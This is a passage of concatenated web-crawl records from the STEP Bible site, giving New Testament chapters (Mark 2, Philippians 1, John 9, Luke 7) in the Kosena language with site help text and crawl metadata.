ámáán-kawaa-kwaasiti kwayó-kwáásíyé moórá-mora-tawai Áánútuntavesa imáyáa ésa toómbá íma kwénesa námúnaawe suꞋmai kwésevo ená kwayó-kwáásí íma mirá ésa toómbá úwoi kwénaawe. nóra ésa mirá kwéoo suwaná 19 Ísu séna moóráwai aaraí mayáíndawai amááraawi tanómba kautimínímba miwísé máyainasa aamoí ésa mintómbá íma aꞋáo sénááovo úwoi nánááowe. 20 naaémba minkwáásígómbá aíꞋmaesa kówíyasa minkánáámá amááraawi tirunkó sáwíꞋa ínasa toómbá aꞋáo sénááowe. Ísu séna kwemó ménamo naaémbo tiyuwénamo iyíníntavena mináímbá siráiye.\n21 Ísu mináímbá simásuwena séna ááéraan-ampantamo avaaꞋó kwáyáísasamo ombá aúná-ampanta íma kárámai kwéaraapaawe. mirámó íyana aúná-ampanta sáwíꞋa ínana ááéraan-ampantao aúná-ampantaraaniꞋa íma íníye. 22 aúná-anda-aran-domba ááéraa-sipisipi-auwarasi-anaveumpimba íma kwéatimaraawe. mirámó íyanamo éna aúná-anda-aran-domba anón-éna ááéraan-anaveumba kavámbaena sáwíꞋa ínana mindómbá úwoivaꞋa atígwiniye. mindáyavesa aúná-anda-aran-domba aúná-sipisipi-auwarasi-anaveumpimba kwéatimaraawe Ísu siráiye.\nÍsu savaatirár-áímbá siráin-kwasai.23 moórá-tawai Yútaa-kwaasi agándon-kanaaraꞋa Ísuwe kwená kwayó-kwáásíyé úwíti-ton-kigauvimba kwégwesa kwená kwayó-kwáásí úwíti-aramba kútúmai ásima pítuwesa kwénowasa 24 ámáán-kawaa-kwaasi tuwánésa Ísuntavesa sésa maisaaó. ená kwayó-kwáásí agándaan-kanaama aambá áúmbakaawasa mirá kwéowe suwaná 25 Ísu séna naaóváꞋá Tévítimo urómba aúváívimba agaimarón-ainkona ááimba íma ísaraawe. aivaꞋ-mónó-káwáánáꞋá áwíꞋa Ápáyata máyonkaꞋa Tévítiye kwená kwaásiye táái kwétinkowana Tévíti Áánútuna monoꞋ-náúmpáꞋá iyéna Áánútu aúrankaꞋo makón-tomba umairéna kwénena kwená kwaási timúwasa naráawe. mintómbá úwoi-kwaasi íma némáembanivo monoꞋ-máyáí máyón-kwaasi némáembani. Tévíti mintómbá umairéna timúwasa nonkáꞋá Áánútu íma áwááꞋa siráimbanivo kesí kwaási mirá kwéowaꞋa áwááꞋa ímo seráámbá áwááꞋa kwésewe. 27 Áánútu kwaásiyavena imáyáa éna túwaꞋnaa íníntavena agándain-kanaa maréna kwaási aiva-tántááꞋá maréna agándain-kanaama naaén-tantaaꞋa póna túwaꞋnaa íníntavena makáiye. 28 kwíyómpakemba kwaási úrandaꞋa póꞋa agándai-kanaaraꞋo kárákwiraundawai úmpo agándai-kanaamo kwaásimo mayáí kwémayaamba kendéímán-iye Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.2","date":"2018-04-23T15:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946077.4\/warc\/CC-MAIN-20180423144933-20180423164933-00381.warc.gz","language":"kze","language_score":0.9999904633,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999904632568359}","num_words":707,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 11 kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. Tímóti kesé máyáísakai Ísu Káráísitina mayáí-kwáásíráí úye. Vírípai-naopakewai Ísóigona kwaási Ísu Káráísitiye tarúmai máyáawaiye keinárawakaꞋa kárákwiraawaiye kwétuwaꞋnaa-owaiye maanáímbá ísáaro. 2 Áánútu kentáásivowae Ísóigo Ísu Káráísitiye úwoi túwaꞋnaa esarai paru kwéumatinkaayantaveꞋa námúnaa kwésune.\n3 keinárawataveꞋa imáyáa únda-tawai ÁánútumpaꞋa súwi kwésune. 4 keinárawataveꞋa ÁánútumpaꞋa námúnaa súnda-tawai aasiyaasí sirunkó kaweꞋá kwéiye. 5 aivaꞋá Áánútuna áséi-kwasai simátimunaꞋa iséꞋa súwaꞋnaa umai kwésimatimaꞋmae kwéiyeꞋa ívékwaraꞋa kwésimatimentaveꞋa mindáyaveꞋa ÁánútumpaꞋa súwi kwésune. 6 Áánútu kentirumpimbá kaweꞋ-máyáígóná ááimba ásámai maimaé kwéiyena ívékwaraꞋa kwéiyimba póna Ísu Káráísiti kumínda-tawai minkáwéꞋ-máyáí ánásaniye. mináímbá ísaraumne. 7 Ísu Káráísitin-aai simátímakaundarakemba ándávaꞋa sínkaraawaꞋa máyaundavakenkwaraꞋa áséi-kwasai kwésimatimeꞋa miwí táái anondá kwésimatimunana Áánútu úwoi kwésuwaꞋnaa-ena keinárawakwaraꞋa úwoi kwétuwaꞋnaa-isaꞋa póꞋa Áánútu kentirumpimbá kaweꞋ-máyáí maimaé kwéiyiye-imayaa únda mindá kaweꞋán-iye. kentí imáyáa kwéundayaveꞋa mirán-áímbá kwésune. 8 imáyáamo tímakaunda íma kesí imáyáavinkene suꞋmainivo Ísu Káráísitina imáyáavinken-aimba tímakaunda árair-aimba isaná Áánútu suwánaraiye.\n9 maanáíntávéꞋa ÁánútumpaꞋa námúnaa simátinkanaumne. imáyáa tímaꞋmae kwénaaeꞋa kawe-tántááꞋá awánéꞋa kaweríꞋa éꞋa 10 amápa-tantaaꞋa taaínkaaꞋa éꞋa kawe-tántááꞋá awánéꞋa kawer-ámbá kwaréꞋa Ísu Káráísiti kumínda-tawai kaweꞋá umái méwana kentí sáwí-meyamba íma kwáyainana 11 Ísu Káráísiti imáyáa timínaꞋa kawer-úramba umái méwasa tuwánésa mirámó íyamba Áánútu áwíꞋa mósá marésa súwi sénááontaveꞋa mindáyaveꞋa námúnaa kwésune.\n12 kesí kwaásiyono maísáaro. umbai-yántááꞋá kesópaꞋa tiráimba mindáyavesa sáwíva-kwaasi áséi-kwasai ísaraawe. 13 Ísu Káráísitin-aai simátímakaundarakemba ándávaꞋa sínkaraawasa kenkáꞋá kárákwiraawaiye évakarawaiye Ísu Káráísitin-aai ísaraawe. 14 ándávaꞋa máyaunda mindáyavena Ísóigo kentáásí kwaási sáwívaꞋa asirayámbá tímísana íma tááꞋa kaisasá Áánútun-aai asiramái kwésimatimaꞋmae kwégowe.\n15 súwíꞋa kwáyáintavesa évakarawai tirumbá sáwíꞋa ésa kentávésa kwenáwíꞋa kumíníye sésa Ísu Káráísitin-aai kwésimatimembanivo évakarawai kawer-ímáyáávínkémbá Káráísitin-aai kwésimatimewe. 16 áséi-kwasai simátimeꞋa miwí táái anondá sénaundayavena Áánútu owé sisasá ándávaꞋa sínkaraawe. ándávaꞋo máyaunda-aimba évakarawai isésa imáyáa umásinkesa Ísu Káráísitin-aai kwésimatimewe. 17 évakarawai íma kawer-ímáyáávínkémbán-ivo sáwí-imayaa tokésa sésa Ísu Káráísitin-aaimo simátíméndamo ésa kesúya maé iyónááowe sésa Ísu Káráísitin-aai kwésimatimewe. kentávésa sésa ándávaꞋa ména isáínana arunkó umbaí táníye sésa Káráísitin-aai kwésimatimewe. 18 mindáyaveꞋa íma anón-imayaa kwéune. kawer-ímáyáávínkémbá Káráísitin-aai kwésimatimewana sirunkó kaweꞋá kwéivo sáwí-imayaa tokáawaigwaraꞋa Káráísitin-aai kwésimatimewana úwoi sirunkó kaweꞋá kwéiye.\n19 ÁánútumpaꞋa námúnaa kwésewana póna Ísu Káráísitin-amanko kwésuwaꞋnaa-isasa ayúsinkanaaombo isáúnda sirunkó kaweꞋá kwéiye. 20 sínkamiyara puwónaum. úwoi ménaumno. mindáyaveꞋa timuꞋmakéꞋa námúnaa séꞋa Ísu KáráísitintaveꞋa íma sigaeyávéꞋa éꞋa íma sááꞋa káínaꞋa asiramái Ísu Káráísiti áwíꞋa mósá maránaumne. mirá úmae kwéiyundantemba Káráísiti áwíꞋa mósá maránaumne súne. 21 marapáꞋó máyaundamo éꞋa Ísu Káráísiti áwíꞋa mósá maránáe séꞋa máyaundanivo puwéꞋo kwíyómpaꞋo iyónda marapáꞋó máyaandawaimba usáyaaitanaumne. 22 marapáꞋó úwoimo méꞋo éꞋa áúgwaraꞋ-mayai mayánaumne. úwoimo máéndayavena siráái táínana puwónaundayavena siráái táínana mirá ínaꞋa mirámó ónaundawaimba íma ísaraumne. 23 minkáér-ímáyááó kembá kwétavisiye. puwéꞋa kwíyómpaꞋa Káráísitiye ménaundayavena usáyaaitarain-tantaaꞋa póna siráái kwétaivo 24 marapáꞋó maúndamo éꞋa kaweꞋá umái kembá túwaꞋnaa únda póna kaweꞋá íníye. 25 mináímbá árair-aimba isaꞋá isáúnda póꞋa marapáꞋá méꞋa keinárawate koménaunda Áánútun-aaiyaveꞋa áraire símae íyónana tirunkó kaweꞋá ínímba mináímbá ísaraumne. 26 keinárawate ókwaraꞋa koménaundayaveꞋa kentávéꞋa imáyáa éꞋa Ísu Káráísiti áwíꞋa mósá maránááowe.\n27 moórá-aimba asiramái simátíménda ísáaro. kaweꞋá umái méꞋa Ísu Káráísitina áséi-aimba mósá maráíyasa tuwánanaaowe. mirámó íyaꞋo éꞋa maankáꞋá méꞋa isánaumno. kentópaꞋa koméꞋa tuwánanaumo. íma isáúmne. maarán-áímbá isánaundayavaiye séꞋa kwésimatimune. mimbórá-ímáyáá éꞋa asiramái méꞋa tiyáántámba kwimái asiramái méꞋa áséi-kwasai simátímaꞋmaeꞋa kwíyasa mináíntávésa évakarawai áraire sénááowe. 28 kentí namuro-kwáásí túrankaꞋa íma moórá-yantaatavena tááꞋa kánímba pósa keinárawatavesa sésa Áánútu kwená aampaꞋá mótínkaraisasa máyáawe-imayaa ésa kesávésa Áánútuna némpata maíꞋmaita kwéune-imayaa ónááowe. 29 Áánútu imáyáa tímísaꞋa Ísu Káráísitin-aaiyaveꞋa áraire siráawe. Áánútu íma tíyótaasa isaꞋá keinárawaꞋa Ísu Káráísitina kwaási-iꞋa onkákémbá tíꞋo iníꞋa kwéumatinkaawe. 30 ááéma Ísu Káráísitina mayáí siyáántámbo kwimáímo mayááwánda áꞋa suwánaraamba ívékwaraꞋa mirámó únda kwéiseꞋa tiyáántámba kwimái kwémayaawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Phili.1","date":"2018-04-25T01:03:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947654.26\/warc\/CC-MAIN-20180425001823-20180425021823-00012.warc.gz","language":"kze","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999958276748657}","num_words":688,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 9\nÍsu aúramba kavíkówaimba kaweꞋá umánkarain-kwasai.1 Ísu kúmba moóráwaimba anówama aúgavitamba maránkarowaimba awánésa 2 kwená kwayó-kwáásí áísaa esa sésa anóndakoo nááwana sáwí-yantaakona anondáwa aúramba kavíkáiyo. kwendéígówáꞋi. anóvowineigowaꞋiyo suwaná 3 Ísu séna íma kwená sáwí-yantaakon-ivo íma anóvowiti sáwí-yantaakon-ivo Áánútuna kaweꞋ-máyáí kwenaneꞋá paárínasa awánanaaontavena aúramba kavíkáiye. 4 siꞋmákaiwaina mayáíyá máyáano. sámo kainkáꞋó mayáímó kwémayaawanamo noꞋwáámbo aúráísanamo mayáímó máyáan-kanaamo ánásaintemba miráumai mayáímá mayáúnda-kanaama ánásanimba póta ívéꞋa Áánútuna mayáíyá mayánaumne. 5 marapáꞋó maúnda kwaási sáma kamátinkainaꞋa úne séna 6 mararáꞋá awirááíma kwiꞋmaréna mindánei toiraambá úmarena aúrankaꞋa aꞋmaréna 7 simámena séna nonkwaaúnkó áwíꞋa Síróamu-kwaaumpimba awaaꞋá koyoraaó súwana mirá uráiye. Síróamuwemo súmba kwenááivinkemba kwántámai séna aiꞋmaráí-kwáúné súwana koyotuwéna aúramba awánamai kaweꞋá éna túwasa 8 kwená naaópaken-kwaasiye ókwaasiye awánésa sésa kwemá aampaꞋó ména óntantemo inaai síma simaꞋa indaráꞋiyo suwasá 9 évakarawai sésa owé kwemán-iye suwasá évakarawai sésa ímanivo mimbórá-óíkwáráráꞋiyo suwaná kwemá séna ímanivo kemá úne súwasa 10 áísaa esa sésa nóra ónana aúramba kaweꞋá iíyo suwaná 11 moóráwai áwíꞋa Ísuma kwemá awirááíma kwiꞋmaréna mindánei toiraaníꞋa úmarena súrankaꞋa aꞋmaréna simásimena séna Síróamu-kwaaumpimba awaaꞋá koyoraaó sisaꞋá iséꞋa suwaaꞋá koyoráúnana súramba kaweꞋán-iye súwasa 12 áísaa esa sésa náávara kuráiyo suwaná íma awánáúmne siráiye.\n13 simátimuwasa áíꞋmaesa ámáán-kawaa-kwaasitopaꞋa máánkówana Ísuma toimá aúrankaꞋa aꞋmaréna aúramba kaweꞋá umánkaron-kanaama Yútaa-kwaasi monor-áímbá kwéison-kanaa mayáímá aambá áúmbakon-kanaama úwasa aúramba kaweꞋá umánkarowaimba áíꞋmaesa ámáán-kawaa-kwaasitopaꞋa máánkówasa 15 áísaa esa sésa nóra ónana aúramba kaweꞋá iíyo suwaná toimá súrankaꞋa asínkáisaꞋa suwaaꞋá koyoráúnana súramba kaweꞋá umásínkáiye súwasa 16 ámáán-kawaa-kwaasi évakaꞋa sésa agándaan-kanaaraꞋo mirá uráintavena íma Áánútunopakemba kunkáiye suwasá évakarawai sésa sáwí-imayaa-kwaasimo énaraankasi íma kanaán-umai kaweꞋ-máyáí-áwááméꞋá isinó suwasá imáyáama taaínkaaꞋa ésa 17 sésa enaúramba kaweꞋá umánkaraivo kwentáváí nóin-imayaawa kwéono áísaa esa suwaná Áánútun-aai simátímíwaiman-iye súwasa 18 ánivo miYútáá-ánón-kwáásí aúrambo kaweꞋó umánkontavesa íma imáyáa umbá anóvowi tááyowasa 19 tuyasá tísaa esa sésa kenkáítí tááninaꞋiyo. ánivo aúgavitana maránkaraayanaꞋiyo. nóra ena aúramba awánamai kaweꞋá kwéiyo suwasaráí 20 kesááninkain-iye. maránkarauyamba aúgavitane. 21 ánivo ívéꞋa nóra isaná aúramba kaweꞋá umái kwéawanaiyompo kwemá anómban-ivo áísaa íyana kweyááríkaꞋa simátimino sirááiye. 22 ááéma Yútaa-anon-kwaasi sésa Ísuntavesa Áánútumo usásinankaiwai kwéamuꞋmaraundawaiman-iye síyawai monoꞋ-náúmpáꞋá íma iyónááowe sumbá póna minánóvówí Yútaa-anon-kwaasiyavena tááꞋa kówasarai 23 sésarai anón-umaguraivo kwembá áísaa oro sirááiye.\n24 simásúwóyasa ókwaraꞋa aúramba kaweꞋá umánkarowaimba ááyowana túwasa sésa minkwáásígó sáwí-imayaa kwéiye sewatá ísaraunda po Áánútu aúrankaꞋa arupí umái simásimiyo suwaná 25 sáwí-kwaasiyaꞋi. kawe-kwáásíyáꞋiyo. kemá íma isáúmne. moórá-yantaataveꞋa isáúnda súramba kavíkwimbanivo ívéꞋa súramba awánáúmne súwasa 26 nóraumai aúramba kaweꞋá umánkaraiyo áísaa esa suwaná 27 áꞋa simátimundanivo íma ísáawe. ókwaraꞋo simátimenaꞋo éꞋa isánááoo. kwenaráái kwaránáemo séꞋa kwená kwayó-kwáásí-íꞋa ónááowe súwasa 28 akáꞋáámba simánkesa sésa emá kwenaráái kwaráampo kesáámá Mósesi arááíya kwégwaraumne. 29 Áánútu Mósesimba aaí simámakaivo minkwáásí náávaken-kwaasiyaꞋiyo suwaná 30 mindáꞋá mirá séna kemá mirá sembánivo minkwáásí óꞋoran-kwaasin-iye. kemá súramba kaweꞋá umásínkaraisaꞋa súne. 31 kwemó ímo Áánútunopakembo kunkénaraankasi íma mirá uráisino. Áánútuma sáwí-imayaa kwéowai tááima íma kwéisaivo kwená mayáímó máyáawai tááima kwéisaiye. Áánútu áwíꞋo mósá maráawai tááima kwéisaiye. maambárámó úmaronkakemba íma moórá-augavitan-kwaasi máyáísana kaweꞋá umánkaraiye sewaꞋá kwéisaumne súwasa 34 enanóma aampaꞋá maránkaraisa po úwoivaken-kwaasima éma enáái kentáá kawe-kwáásíyá kwésimasimendayaanivo monoꞋ-náúmpákémbá kunákárúwaao suwaná kunákárúwaraiye.\n35 minkákémbá Ísu aiꞋmátukaan-aimba iséna avakáá-umai awánéna áísaa ena séna kwíyómpakemba kwaási úrandakona arááíya kwégwaraano súwana 36 Ísuntavena séna anóndakoo emó sénda nááwawaꞋiyo. simásímínaꞋa kwenaráái kwáráano súwana 37 Ísu séna áꞋo aúrambo suwánáánda kemá úne súwana 38 emá Ísóigoma óne séna kívairena kwená imáyáa mósá makáiye.\n39 kwená imáyáa mósá marówana Ísu séna marapáꞋá kunkáunda pósa kwaási avuntambá taaínkaaꞋa ónááowe. túrambo kavíkáindawai túramba kaweꞋá umái awánáíyasa túrambo awánemayaiyawai túramba kaviyíníye súwasa 40 ámáán-kawaa-kwaasimo évakaꞋo máyówai isésa áísaa esa sésa ewá séwa kentááyavaiya túramba kavíkáiwai owéwá seénó suwaná 41 Ísu séna túrambo kavíkáawaimo máyáankakai kentí sáwí-imayaagona meéyámbá íma kwáyáisino. áta awánáúmne sentávéna kentí sáwí-imayaagona meéyámbá kwáyáiye Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.9","date":"2018-04-22T22:26:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945660.53\/warc\/CC-MAIN-20180422212935-20180422232935-00169.warc.gz","language":"kze","language_score":0.9999693632,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999693632125854}","num_words":712,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 7\nÁrómáani-kwayoꞋnakona kwaasái.1 Ísu mináyáátáár-áímbá simátímatuwena Kápénéamu-noapaꞋa komáyowana 2 Árómáani-i-kwaasiti kawáánáꞋá ména kwená kwayóꞋnáꞋá aráái tówaimba áíꞋa kwéuwana puwíndayavena kwéena máyowana 3 minkáwáánákó Ísumo tamáyon-aimba iséna Yútaa-anon-kwaasiyavena séna Ísumba koáíꞋmaeꞋa tíyana taasóvamankaino séna tiꞋmarówasa 4 ÍsunopaꞋa asiramái kosésa minkáwáánákó Yútaa-kwaasiya kwésuwaꞋnaa-ena kentáásí monoꞋ-námbá úmakaimba póna kawe-kwáásí po kaweꞋá umái koáwaꞋnaa íníyone suwaná 6 Ísu iséna miwísé kwéna minkáwáánákóná naambá egwaaꞋá kwáyonkaꞋa kúwana minkáwáánákó kwená kwaási simátimena séna ÍsunopaꞋa kosimámeꞋa maará simáméro. anóndakoo kentáásí kawáánákó séna kemá sáwíyan-kwaasi úmpo emá anón-kwaasi ómpo ivátuwe kesí naaúmpaꞋa íyínda uwóvíꞋa íníyone. 7 mindáyavai íma enópaꞋa kosimámakaunda po íma kesí naaúmpaꞋa iyé úwoi aaiyé suꞋmai sinaná kesí kwayóꞋnáꞋá asóváíno. 8 kegwáráꞋá kawáá-máyáígóná ááimba awánaraunda kesí kawáánákó sisaꞋá kwená mayáí kwémaeꞋa kesí i-kwáásíyávéꞋa súnasa kesí mayáí kwémayaawe. moóráwaintaveꞋa séꞋa kwaaó súnana kwégwisaꞋa moóráwaintaveꞋa séꞋa tiyó súnana kwétisaꞋa kesí kwayóꞋnátávéꞋa mirá uwómó súndantemba mirá kwéiye siyé. Ísumba kosimáméro súwasa tiꞋmarówai tésa tasimámúwana 9 Ísu mináímbá iséna áátavai éna kogwanténa kwenánaaembo kwaꞋmaésamo kun-kwáásíyóntávéna séna simátimeꞋa séꞋa minkwáásí Árómáani-kwaasigo kentávéna súwaꞋnaa ií-ásíráyámbá tokáiye kwésivo kesí kwaási Ísareri-kwaasivinkene óꞋon-kwaasivinkene íma mirán-áímbá kwésewe Ísu súwasa 10 tiꞋmarón-kwaasi koyauwerésa tésa taawánomba kwayóꞋnáꞋá kaweꞋá umái máyowasa taawánaraawe.\nÍsu moóráwaimba usásinankarain-kwasai.11 Ísu sáwíyankaꞋa ména tiyuwéna kwená kwayó-kwáásíyé sáwíva-kwaasiye kúmba Néni-naopaꞋa kwéna 12 mindáókona óntan-kurigona ontaraꞋá kúnkaꞋa moórá-ketor-ininko ááninko puwúwasa taagwiyaꞋmaésa sáwíva-kwaasi anówae kwétuwana 13 Ísóigo anówamba awánómba arumbá umánkena séna íma iviꞋá taaó séna 14 kúkútaa-tairaꞋa kotátorowasa taagwiyaꞋmaésa tun-kwáásí tamáúwana Ísu séna ívé-kwaasigoo usásinaao súwana 15 pukómpinkemba usásinena aaí kwésuwana Ísu anówantavena áíꞋmae kwaaó súwasa 16 amáparawai táátavai ésa Áánútu áwíꞋa mósá marésa sésa ívéꞋa Áánútun-aai sin-kwáásí anón-kwaasi kentáávímbá kwévaariye. Áánútu aiꞋmáráísana kwená kwaásiya súwaꞋnaa ií-kwáásíyá kúmiye suwaná 17 mináímbá Ísuntavesamo sun-áínkó Yútiyaa-ayampaꞋa évarevar-awampaꞋa kóyáwé uráiye.\nYóni nombó pétinkaraiwaina kwaasái.18 mináínkó kóyáwé úwasa Yónina kwayó-kwáásí isésa Yónimba kosimámúwana kwená kwayóꞋnárai tááyowasarai tuyaná 19 simátimena séna Ísumba maanáímbá koáísaa okaiyó. emá kumíníyonemo siráawaiyaꞋono. áꞋowawa ónómpo kemá kumíníwaina amuꞋmaránaumno siyé. kosekaiyó Yóni súwasarai isésarai 20 ÍsunopaꞋa tasimámesarai Yóni nombá pétinkaiwai siꞋmáráísakai enópaꞋa túye. Yónimo simbá kumíníyonemo siráawaiyaꞋono. áꞋowawa ónómpo kemá kumíníwaina amuꞋmaránaumno siyé. Ísumba tasimámúyana 21 minkánáávímbá Ísu sáwíva-kwaasi óꞋon-oꞋon-tiꞋa ún-kwaasi kaweꞋá umátinkena taraváá-kwámbá tirumpinkémbá kwémaitiyuwena túramba kavíkón-kwaasi túramba awánamai kaweꞋá uwaná 22 Ísu Yónimo tiꞋmarón-kwaasiyavena séna tayauwerékai awánaan-tantaaꞋa ísáán-aimba Yónimba kosimámekai sékai túramba kavíkáiwai túramba awánamai kaweꞋá owaná tááꞋa kaúnkaiwai tááꞋa kwéisaawana tísamaima pukáiwai kaweꞋá umái tísamaima kwétaawana túma karáiwai kaweꞋá kwéumatinkena puwón-kwaasi kwéusasintinkena úwoi-kwaasi áséi-kwasai kwésimatimena séna 23 kentávéna íma kaer-ímáyáá íyawai tirunkó kaweꞋá kwéiye siyé. Yónimba kosimámékaiyo Ísu súwasarai kurááiye.\n24 Yónina kwayóꞋnárai tayauwerésarai kuyaná Ísu Yónin-aai amápa-kwaasi simátimena séna Yóni kavóná-maravaꞋa máyáísaꞋa koawánéꞋa nóran-imayaa kwéera koawánaraao. úndá toréna umá mómaꞋmemaꞋo intenkáán-kwáásí Yónima iyé-ímáyáá uráao. ímanivo Yóni íma mirán-kwáásímán-ivo asirayán-kwáásímán-iye. 25 nóran-imayaa kwéera koawánaraao. kawer-únánkwátói úmakainda-kwaasi Yónima iyé-ímáyáá uráao. ímanivo mirán-kwáásí kawer-únánkwátóigwara óísankwara-kwaasi anón-kwaasiti naaúmpaꞋa kwémaewe. 26 nóran-imayaa kwéera koawánaraao. Áánútun-aai kwésiwai Yónima iyé-ímáyáá uráao. owé. Áánútun-aai kwésiwaiman-iye. áraiꞋa simátimeꞋa séꞋa kwemá Áánútun-aai siráawai usáyaaitaraiye. 27 Áánútun-aai aúváí-kwandaaivimba Yónin-aai simái agaimaréna séna\n- Áánútu séna isaaó. moóráwaimba aiꞋmáráanana kesáái maimaéna ená aivaꞋá kwéna ená aambá kwiyíníye siráiye\nÍsu aísamairaꞋa masawémba atírain-kwasai.36 moórá-tawai ámáán-kawaa-kwaasigo áwíꞋa Sáímoni kwemá Ísuntavena séna kesí naaúmpaꞋa toómbá tamandaaó súwana kwená naaúmpaꞋa iréna toómbá ugwénowana 37 mindáópaken-inimba eénánkáꞋá naaún-ininko Ísu ámáán-kawaa-kwaasigona naaúmpaꞋa ména toómbá kwénaiye-aimba minínínkó iséna óntan-anaveumpimba áséi-kwiyumba úm-basawemba kwáyomba maimaéna 38 mindáúmpáꞋá iyéna Ísun-ánaaempaꞋa aísamaivimba uména iviꞋá kwétowana aꞋnumá kaꞋmaéna Ísu aísamairaꞋa kumúwana minínínkó ayáátáár-aꞋnontaunei aísamairakemba kwéuwaena aísamai kwéamoꞋnena áséi-kwiyumbo úm-basawemba aísamairaꞋa atímarowana 39 ámáán-kawaa-kwaasigo Ísumbo ááyowai awánéna imáyáa éna séna minkwáásígómó Áánútun-aai kwésiwaimo inkákáí aísamairaꞋo uyátokain-inimba eénánkáꞋá naaín-ininko iyé-ímáyáá isinó séna mirán-ímáyáá úwana 40 Ísu minkwáásígóntávéna séna Sáímoniyo moórá-aimba simámenae súwana minkwáásígó séna anóndako siyó súwana 41 Ísu séna moóráwai óntamba kwétimiwai ména moóráwaimba sáwívar-ontamba siyáánkai-tamayor-ontamba aména moóráwaimba sáwíyan-ontamba moórá-tamayor-ontamba ámísana 42 aanávómbó amí-kánáá tisasaráí óntamba íma kwáyáísasarai avakáá uwááesarai kwenópaꞋa tíyana séna kanaánivo íma meéyámbá mayánaumpo keináraiti meéyán-túwíꞋa tawígauvatuwaumpo kokaiyó siráiye-aimba Ísu Sáímonimba simámena séna mindáyavena mirámó sintávéna minkáé-kwáásígóráí tirunkó aamoí kwéumankaiye. moóráwai ávááraumai aamoí kwéumankaimba nááwaꞋiyo Ísu áísaa ena súwana 43 Sáímoni séna sáwívar-ontambo mairénamo aanávómbó ímo máamisanamo meéyán-áwíꞋa tawígáúvatuwaiwai anón-aamoi kwéumankaiye Sáímoni súwana Ísu séna mindáyaveꞋo súnda áꞋa séne simásuwena 44 kogwanténa minínínkómbá awánéna Sáímontavena séna minínínkómbá awánaao. ená naaúmpaꞋa iyúnda kentáásí ááimba sísamaimo sese ií-nómbá íma siménana minínínkó iviꞋá kwétaisana aꞋnumá sísamairaꞋa kúmísana kwenaꞋnónáunei uwákaiye. 45 paruvará íma umásinkaanana minínínkó sísamaima taamóꞋnamoꞋna uráiye. 46 kentáásí ááimba íma siꞋnómpáꞋá masawémba asinkáánana minínínkó sísamairaꞋa áséi-kwiyumba im-básáwémbá atímai asínkaraiye. 47 mináímbá simámeꞋa séꞋa minínínkóná amápa-sawi-imayaa mayauwáúnda póna kembá anón-aamoi umásinkena mirán-tántááꞋá kaweꞋá umásínkáiye. ánivo moóráwaimbo 